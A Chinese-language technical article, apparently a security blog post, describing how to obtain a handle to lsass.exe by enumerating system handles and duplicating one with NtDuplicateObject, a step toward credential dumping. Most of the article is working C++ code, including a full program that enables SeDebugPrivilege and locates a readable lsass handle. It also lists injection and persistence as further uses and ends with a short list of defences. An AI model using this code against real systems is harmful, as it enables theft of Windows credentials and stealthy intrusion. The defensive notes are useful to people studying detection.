利用NtDuplicateObject进行Dump
字数 1119 2025-08-24 16:48:07

利用NtDuplicateObject进行进程句柄转储技术详解

1. 技术概述

本文介绍了一种利用Windows Native API(NtDuplicateObject等)进行进程句柄转储的技术,主要用于获取特定进程(如lsass.exe)的句柄并进行内存转储。该技术由国外研究人员在2020年提出,具有以下特点:

  • 不需要直接调用OpenProcess打开目标进程
  • 通过枚举系统所有句柄并筛选出目标进程的句柄
  • 使用句柄复制技术获取目标进程的访问权限

2. 技术原理

2.1 基本流程

  1. 获取调试权限(SeDebugPrivilege)
  2. 使用NtQuerySystemInformation枚举所有进程打开的所有句柄
  3. 使用OpenProcess打开句柄所属进程,赋予PROCESS_DUP_HANDLE权限
  4. 使用NtDuplicateObject获取远程进程句柄的副本到当前进程
  5. 使用NtQueryObject函数判断句柄类型
  6. 如果是进程句柄,使用QueryFullProcessImageName获取进程可执行路径
  7. 筛选出目标进程句柄进行后续操作

2.2 关键API函数

2.2.1 NtQuerySystemInformation

函数原型:

__kernel_entry NTSTATUS NtQuerySystemInformation(
    [in] SYSTEM_INFORMATION_CLASS SystemInformationClass,
    [in, out] PVOID SystemInformation,
    [in] ULONG SystemInformationLength,
    [out, optional] PULONG ReturnLength
);

使用参数SystemHandleInformation获取系统句柄信息。

相关数据结构:

typedef struct _SYSTEM_HANDLE {
    ULONG ProcessId;
    BYTE ObjectTypeNumber;
    BYTE Flags;
    USHORT Handle;
    PVOID Object;
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG HandleCount;
    SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

2.2.2 NtDuplicateObject

函数原型:

NTSYSCALLAPI NTSTATUS NTAPI NtDuplicateObject(
    _In_ HANDLE SourceProcessHandle,
    _In_ HANDLE SourceHandle,
    _In_opt_ HANDLE TargetProcessHandle,
    _Out_opt_ PHANDLE TargetHandle,
    _In_ ACCESS_MASK DesiredAccess,
    _In_ ULONG HandleAttributes,
    _In_ ULONG Options
);

2.2.3 NtQueryObject

函数原型:

NTSYSCALLAPI NTSTATUS NTAPI NtQueryObject(
    _In_ HANDLE Handle,
    _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass,
    _Out_opt_ PVOID ObjectInformation,
    _In_ ULONG ObjectInformationLength,
    _Out_opt_ PULONG ReturnLength
);

使用参数ObjectTypeInformation获取对象类型信息。

相关数据结构:

typedef struct _OBJECT_TYPE_INFORMATION {
    UNICODE_STRING Name;
    ULONG TotalNumberOfObjects;
    ULONG TotalNumberOfHandles;
    ULONG TotalPagedPoolUsage;
    ULONG TotalNonPagedPoolUsage;
    ULONG TotalNamePoolUsage;
    ULONG TotalHandleTableUsage;
    ULONG HighWaterNumberOfObjects;
    ULONG HighWaterNumberOfHandles;
    ULONG HighWaterPagedPoolUsage;
    ULONG HighWaterNonPagedPoolUsage;
    ULONG HighWaterNamePoolUsage;
    ULONG HighWaterHandleTableUsage;
    ULONG InvalidAttributes;
    GENERIC_MAPPING GenericMapping;
    ULONG ValidAccess;
    BOOLEAN SecurityRequired;
    BOOLEAN MaintainHandleCount;
    USHORT MaintainTypeList;
    ULONG PoolType;
    ULONG PagedPoolUsage;
    ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;

2.2.4 QueryFullProcessImageName

函数原型:

WINBASEAPI BOOL WINAPI QueryFullProcessImageNameW(
    _In_ HANDLE hProcess,
    _In_ DWORD dwFlags,
    _Out_writes_to_(*lpdwSize, *lpdwSize) LPWSTR lpExeName,
    _Inout_ PDWORD lpdwSize
);

3. 技术实现

3.1 获取调试权限

使用RtlAdjustPrivilege函数获取SeDebugPrivilege权限:

int SeDebugPrivilege() {
    BOOLEAN t;
    NTSTATUS status = RtlAdjustPrivilege(20, TRUE, FALSE, &t);
    if (!NT_SUCCESS(status)) {
        cout << "[-] Unable to resolve RtlAdjustPrivilege" << endl;
        return 1;
    }
    cout << "[+] RtlAdjustPrivilege Success" << endl;
}

3.2 枚举系统句柄

ULONG handleInfoSize = 0x10000;
PSYSTEM_HANDLE_INFORMATION handleInfo;
HANDLE dupHandle;
ULONG returnLength;
HANDLE hProcess = NULL;

handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
while ((status = NtQuerySystemInformation(SystemHandleInformation, 
        handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH) {
    handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);
}

3.3 复制并筛选句柄

for (ULONG i = 0; i < handleInfo->HandleCount; i++) {
    if (handleInfo->Handles[i].ProcessId != pid) {
        continue;
    }
    
    // 复制句柄
    status = NtDuplicateObject(
        processHandle, 
        (HANDLE)handleInfo->Handles[i].Handle,
        GetCurrentProcess(),
        &dupHandle,
        PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
        0, 0);
    
    if (status != STATUS_SUCCESS) {
        continue;
    }
    
    // 查询对象类型
    PVOID ObjectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);
    status = NtQueryObject(dupHandle, ObjectTypeInformation, 
                          ObjectTypeInfo, 0x1000, NULL);
    
    if (status != STATUS_SUCCESS) {
        CloseHandle(dupHandle);
        continue;
    }
    
    UNICODE_STRING objectType = *(PUNICODE_STRING)ObjectTypeInfo;
    if (objectType.Length) {
        if (wcsstr(objectType.Buffer, L"Process") != NULL) {
            wchar_t path[MAX_PATH];
            DWORD maxpath = MAX_PATH;
            QueryFullProcessImageNameW(dupHandle, 0, path, &maxpath);
            
            if (wcsstr(path, L"lsass.exe") != NULL) {
                printf("Handle:[%#x] Type:%S DupHandle Handle:[%#x]\n",
                      handleInfo->Handles[i].Handle,
                      objectType.Buffer,
                      dupHandle);
            }
        }
    }
}

4. 完整示例代码

#include <windows.h>
#include <stdio.h>
#include <iostream>
#include "ntdll.h"
#pragma comment(lib, "ntdll")
using namespace std;

int SeDebugPrivilege() {
    BOOLEAN t;
    NTSTATUS status = RtlAdjustPrivilege(20, TRUE, FALSE, &t);
    if (!NT_SUCCESS(status)) {
        cout << "[-] Unable to resolve RtlAdjustPrivilege" << endl;
        return 1;
    }
    cout << "[+] RtlAdjustPrivilege Success" << endl;
}

int main(int argc, char* argv[]) {
    NTSTATUS status;
    ULONG handleInfoSize = 0x10000;
    PSYSTEM_HANDLE_INFORMATION handleInfo;
    HANDLE dupHandle;
    ULONG returnLength;
    HANDLE hProcess = NULL;
    
    SeDebugPrivilege();
    
    DWORD pid = 1048; // 目标进程PID
    HANDLE processHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid);
    if (!processHandle) {
        printf("Could not open PID %d!\n", pid);
        return 1;
    }
    
    handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
    while ((status = NtQuerySystemInformation(SystemHandleInformation, 
            handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH) {
        handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);
    }
    
    if (!NT_SUCCESS(status)) {
        cout << "[-] NtQuerySystemInformation Error" << endl;
        return 1;
    }
    
    // 枚举所有句柄
    for (ULONG i = 0; i < handleInfo->HandleCount; i++) {
        if (handleInfo->Handles[i].ProcessId != pid) {
            continue;
        }
        
        // 复制句柄
        status = NtDuplicateObject(
            processHandle, 
            (HANDLE)handleInfo->Handles[i].Handle,
            GetCurrentProcess(),
            &dupHandle,
            PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
            0, 0);
        
        if (status != STATUS_SUCCESS) {
            continue;
        }
        
        PVOID ObjectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);
        status = NtQueryObject(dupHandle, ObjectTypeInformation, 
                              ObjectTypeInfo, 0x1000, NULL);
        
        if (status != STATUS_SUCCESS) {
            printf("[%#x] Error!\n", handleInfo->Handles[i].Handle);
            CloseHandle(dupHandle);
            continue;
        }
        
        UNICODE_STRING objectType = *(PUNICODE_STRING)ObjectTypeInfo;
        wchar_t path[MAX_PATH];
        DWORD maxpath = MAX_PATH;
        
        if (objectType.Length) {
            if (wcsstr(objectType.Buffer, L"Process") != NULL) {
                QueryFullProcessImageNameW(dupHandle, 0, path, &maxpath);
                
                if (wcsstr(path, L"lsass.exe") != NULL) {
                    printf("Handle:[%#x] Type:%S DupHandle Handle:[%#x]\n",
                          handleInfo->Handles[i].Handle,
                          objectType.Buffer,
                          dupHandle);
                    // 这里可以添加dump内存的代码
                }
            }
        }
    }
    
    free(handleInfo);
    return 0;
}

5. 技术应用

获取到目标进程的句柄后,可以用于:

  1. 进程内存转储(如lsass.exe的内存转储)
  2. 进程注入
  3. 进程监控
  4. 权限维持

6. 防御措施

针对此类技术的防御措施包括:

  1. 启用Credential Guard
  2. 限制SeDebugPrivilege权限
  3. 监控NtDuplicateObject等敏感API调用
  4. 使用受保护的进程(Protected Process)

7. 参考资源

  1. Windows Native API文档
  2. https://blez.wordpress.com/2012/09/17/enumerating-opened-handles-from-a-process/
  3. Windows内核编程相关书籍
利用NtDuplicateObject进行进程句柄转储技术详解 1. 技术概述 本文介绍了一种利用Windows Native API(NtDuplicateObject等)进行进程句柄转储的技术,主要用于获取特定进程(如lsass.exe)的句柄并进行内存转储。该技术由国外研究人员在2020年提出,具有以下特点: 不需要直接调用OpenProcess打开目标进程 通过枚举系统所有句柄并筛选出目标进程的句柄 使用句柄复制技术获取目标进程的访问权限 2. 技术原理 2.1 基本流程 获取调试权限(SeDebugPrivilege) 使用NtQuerySystemInformation枚举所有进程打开的所有句柄 使用OpenProcess打开句柄所属进程,赋予PROCESS_ DUP_ HANDLE权限 使用NtDuplicateObject获取远程进程句柄的副本到当前进程 使用NtQueryObject函数判断句柄类型 如果是进程句柄,使用QueryFullProcessImageName获取进程可执行路径 筛选出目标进程句柄进行后续操作 2.2 关键API函数 2.2.1 NtQuerySystemInformation 函数原型: 使用参数 SystemHandleInformation 获取系统句柄信息。 相关数据结构: 2.2.2 NtDuplicateObject 函数原型: 2.2.3 NtQueryObject 函数原型: 使用参数 ObjectTypeInformation 获取对象类型信息。 相关数据结构: 2.2.4 QueryFullProcessImageName 函数原型: 3. 技术实现 3.1 获取调试权限 使用 RtlAdjustPrivilege 函数获取SeDebugPrivilege权限: 3.2 枚举系统句柄 3.3 复制并筛选句柄 4. 完整示例代码 5. 技术应用 获取到目标进程的句柄后,可以用于: 进程内存转储(如lsass.exe的内存转储) 进程注入 进程监控 权限维持 6. 防御措施 针对此类技术的防御措施包括: 启用Credential Guard 限制SeDebugPrivilege权限 监控NtDuplicateObject等敏感API调用 使用受保护的进程(Protected Process) 7. 参考资源 Windows Native API文档 https://blez.wordpress.com/2012/09/17/enumerating-opened-handles-from-a-process/ Windows内核编程相关书籍